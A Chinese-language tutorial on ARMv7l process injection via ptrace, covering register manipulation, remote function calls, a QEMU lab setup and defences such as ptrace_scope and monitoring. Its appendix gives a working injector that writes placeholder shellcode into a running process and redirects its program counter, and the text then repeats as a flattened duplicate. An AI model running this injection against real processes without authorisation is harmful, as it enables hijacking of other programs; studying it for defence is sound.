基于armv7l架构的进程注入研究——使用ptrace注入shellcode
字数 1333 2025-08-22 12:22:30

ARMv7l架构进程注入技术研究与实践

一、ARM架构与ptrace基础

1.1 ARM架构概述

ARMv7l是32位ARM架构,具有以下特点:

  • 小端字节序
  • 支持ARM和Thumb两种指令集
  • 寄存器结构不同于x86架构
  • 系统调用通过SWI(Software Interrupt)指令实现

1.2 ptrace系统调用

ptrace是Linux下的进程调试系统调用,原型为:

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

重要参数说明:

  • request:指定操作类型
  • pid:目标进程ID
  • addr:内存地址或寄存器编号
  • data:传递数据或接收结果

二、ptrace关键操作

2.1 常用ptrace请求

请求类型 功能描述
PTRACE_ATTACH 附加到目标进程
PTRACE_DETACH 从目标进程分离
PTRACE_GETREGS 获取寄存器状态
PTRACE_SETREGS 设置寄存器状态
PTRACE_CONT 继续执行目标进程
PTRACE_PEEKTEXT 读取目标进程内存
PTRACE_POKETEXT 写入目标进程内存

2.2 ARM寄存器结构

ARMv7架构使用pt_regs结构体:

struct pt_regs {
    long uregs[18];
};

关键寄存器定义:

  • ARM_r0-ARM_r12:通用寄存器
  • ARM_sp(R13):栈指针
  • ARM_lr(R14):链接寄存器(返回地址)
  • ARM_pc(R15):程序计数器
  • ARM_cpsr:程序状态寄存器

三、进程注入技术实现

3.1 注入流程概述

  1. 附加到目标进程
  2. 保存寄存器环境
  3. 分配内存空间
  4. 写入shellcode或模块信息
  5. 加载并执行注入代码
  6. 恢复寄存器环境
  7. 从目标进程分离

3.2 关键实现步骤

3.2.1 进程附加与寄存器保存

// 附加到目标进程
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, &status, WUNTRACED);

// 保存寄存器状态
struct pt_regs regs;
ptrace(PTRACE_GETREGS, pid, NULL, &regs);

3.2.2 内存操作

// 读取内存
long data = ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);

// 写入内存
ptrace(PTRACE_POKETEXT, pid, addr, data);

3.2.3 远程函数调用

ARM架构函数调用约定:

  • 前4个参数通过R0-R3传递
  • 剩余参数从右到左压栈
  • 返回值存储在R0寄存器
// 设置函数参数
for (i = 0; i < num_params && i < 4; i++) {
    regs->uregs[i] = parameters[i];
}

// 处理额外参数
if (i < num_params) {
    regs->ARM_sp -= (num_params - i) * sizeof(long);
    ptrace_writedata(pid, (void*)regs->ARM_sp, 
                    (uint8_t*)parameters[i], 
                    (num_params - i) * sizeof(long));
}

// 设置PC寄存器并执行
if (regs->ARM_pc & 1) {  // Thumb模式
    regs->ARM_pc &= (~1u);
    regs->ARM_cpsr |= CPSR_T_MASK;
} else {  // ARM模式
    regs->ARM_cpsr &= ~CPSR_T_MASK;
}
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
ptrace(PTRACE_CONT, pid, NULL, NULL);

3.2.4 常用远程调用函数

  1. mmap - 分配内存空间
  2. dlopen - 加载动态库
  3. dlsym - 获取函数地址
  4. dlclose - 关闭动态库

四、实验环境搭建

4.1 环境配置步骤

  1. 安装Ubuntu 18.04虚拟机
  2. 下载并编译Buildroot
  3. 安装QEMU模拟器
  4. 配置网络桥接

4.2 交叉编译工具链

安装ARM交叉编译工具:

sudo apt install gcc-arm-linux-gnueabihf
sudo apt install linux-libc-dev-armhf-cross

编译命令示例:

arm-linux-gnueabihf-gcc -static test.c -o test -I/usr/arm-linux-gnueabihf/include

五、防御策略

5.1 限制ptrace权限

  1. 启用ptrace_scope
    echo 1 > /proc/sys/kernel/yama/ptrace_scope
    
  2. 避免运行具有调试权限的应用

5.2 强化防护机制

  1. 部署SELinux/AppArmor
  2. 启用ASLR(地址空间布局随机化)
  3. 使用内存保护机制

5.3 行为监控

  1. 监控异常ptrace调用
  2. 检测频繁的内存修改操作
  3. 审计进程间非常规交互

六、附录

6.1 示例代码

目标进程(victim.c)

#include <stdio.h>
#include <unistd.h>

int main() {
    while(1) {
        printf("running\n");
        sleep(1);
    }
    return 0;
}

注入工具(inject.c)

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <asm/ptrace.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

long freespaceaddr(pid_t pid) {
    FILE *fp;
    char filename[30];
    char line[256];
    long addr = 0;
    
    sprintf(filename, "/proc/%d/maps", pid);
    fp = fopen(filename, "r");
    if(fp == NULL) exit(1);
    
    while(fgets(line, sizeof(line), fp) != NULL) {
        if(strstr(line, "rw-p") != NULL) {
            sscanf(line, "%lx-%*lx", &addr);
            break;
        }
    }
    fclose(fp);
    return addr;
}

int main(int argc, char *argv[]) {
    if(argc != 2) {
        printf("Usage: %s <pid>\n", argv[0]);
        exit(1);
    }
    
    pid_t traced_process = atoi(argv[1]);
    struct pt_regs regs;
    long addr;
    
    char shellcode[] = "\x61\x61\x61\x61\x61\x61\x61\x61"
                       "\x61\x61\x61\x61\x61\x61\x61\x61"
                       "\x61\x61\x61\x61\x61\x61\x61\x00"
                       "\x61\x61\x61\x61\x61\x61\x61\x61";
    int len = sizeof(shellcode);
    
    // 附加到目标进程
    if(ptrace(PTRACE_ATTACH, traced_process, NULL, NULL) == -1) {
        printf("PTRACE_ATTACH error");
        exit(1);
    }
    wait(NULL);
    
    // 获取寄存器状态
    if(ptrace(PTRACE_GETREGS, traced_process, NULL, &regs) == -1) {
        perror("PTRACE_GETREGS failed");
        exit(1);
    }
    
    // 查找可写内存区域
    addr = freespaceaddr(traced_process);
    if(addr == 0) exit(1);
    
    // 注入shellcode
    long *ptr = (long *)shellcode;
    for(int i = 0; i < len; i += sizeof(long)) {
        ptrace(PTRACE_POKEDATA, traced_process, addr + i, *ptr);
        ptr++;
    }
    
    // 劫持程序流
    regs.ARM_pc = addr;
    if(ptrace(PTRACE_SETREGS, traced_process, NULL, &regs) == -1) {
        printf("PTRACE_SETREGS failed");
        exit(1);
    }
    
    // 分离
    if(ptrace(PTRACE_DETACH, traced_process, NULL, NULL) == -1) {
        printf("PTRACE_DETACH failed");
        exit(1);
    }
    
    return 0;
}

6.2 参考资料

  1. ARM架构官方文档
  2. Linux内核源码ptrace.c
  3. asm/ptrace.h头文件
  4. Buildroot官方文档
  5. QEMU使用手册
ARMv7l架构进程注入技术研究与实践 一、ARM架构与ptrace基础 1.1 ARM架构概述 ARMv7l是32位ARM架构,具有以下特点: 小端字节序 支持ARM和Thumb两种指令集 寄存器结构不同于x86架构 系统调用通过SWI(Software Interrupt)指令实现 1.2 ptrace系统调用 ptrace是Linux下的进程调试系统调用,原型为: 重要参数说明: request :指定操作类型 pid :目标进程ID addr :内存地址或寄存器编号 data :传递数据或接收结果 二、ptrace关键操作 2.1 常用ptrace请求 | 请求类型 | 功能描述 | |---------|---------| | PTRACE_ ATTACH | 附加到目标进程 | | PTRACE_ DETACH | 从目标进程分离 | | PTRACE_ GETREGS | 获取寄存器状态 | | PTRACE_ SETREGS | 设置寄存器状态 | | PTRACE_ CONT | 继续执行目标进程 | | PTRACE_ PEEKTEXT | 读取目标进程内存 | | PTRACE_ POKETEXT | 写入目标进程内存 | 2.2 ARM寄存器结构 ARMv7架构使用 pt_regs 结构体: 关键寄存器定义: ARM_r0 - ARM_r12 :通用寄存器 ARM_sp (R13):栈指针 ARM_lr (R14):链接寄存器(返回地址) ARM_pc (R15):程序计数器 ARM_cpsr :程序状态寄存器 三、进程注入技术实现 3.1 注入流程概述 附加到目标进程 保存寄存器环境 分配内存空间 写入shellcode或模块信息 加载并执行注入代码 恢复寄存器环境 从目标进程分离 3.2 关键实现步骤 3.2.1 进程附加与寄存器保存 3.2.2 内存操作 3.2.3 远程函数调用 ARM架构函数调用约定: 前4个参数通过R0-R3传递 剩余参数从右到左压栈 返回值存储在R0寄存器 3.2.4 常用远程调用函数 mmap - 分配内存空间 dlopen - 加载动态库 dlsym - 获取函数地址 dlclose - 关闭动态库 四、实验环境搭建 4.1 环境配置步骤 安装Ubuntu 18.04虚拟机 下载并编译Buildroot 安装QEMU模拟器 配置网络桥接 4.2 交叉编译工具链 安装ARM交叉编译工具: 编译命令示例: 五、防御策略 5.1 限制ptrace权限 启用 ptrace_scope : 避免运行具有调试权限的应用 5.2 强化防护机制 部署SELinux/AppArmor 启用ASLR(地址空间布局随机化) 使用内存保护机制 5.3 行为监控 监控异常 ptrace 调用 检测频繁的内存修改操作 审计进程间非常规交互 六、附录 6.1 示例代码 目标进程(victim.c) 注入工具(inject.c) 6.2 参考资料 ARM架构官方文档 Linux内核源码 ptrace.c asm/ptrace.h 头文件 Buildroot官方文档 QEMU使用手册